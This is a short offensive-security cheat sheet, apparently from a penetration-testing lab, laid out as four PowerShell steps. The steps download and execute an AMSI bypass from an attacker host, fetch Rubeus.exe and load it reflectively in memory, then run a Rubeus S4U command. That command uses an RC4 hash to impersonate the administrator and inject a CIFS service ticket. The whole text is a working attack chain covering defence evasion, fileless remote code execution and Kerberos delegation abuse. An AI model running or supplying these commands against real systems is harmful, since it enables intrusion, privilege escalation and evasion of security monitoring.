1. First bypass AMSI:
   (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX

2. Select the assembly:
   $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

3. Load it:
   $assem = [System.Reflection.Assembly]::Load($data)

4. Can then use it like this:
   [Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())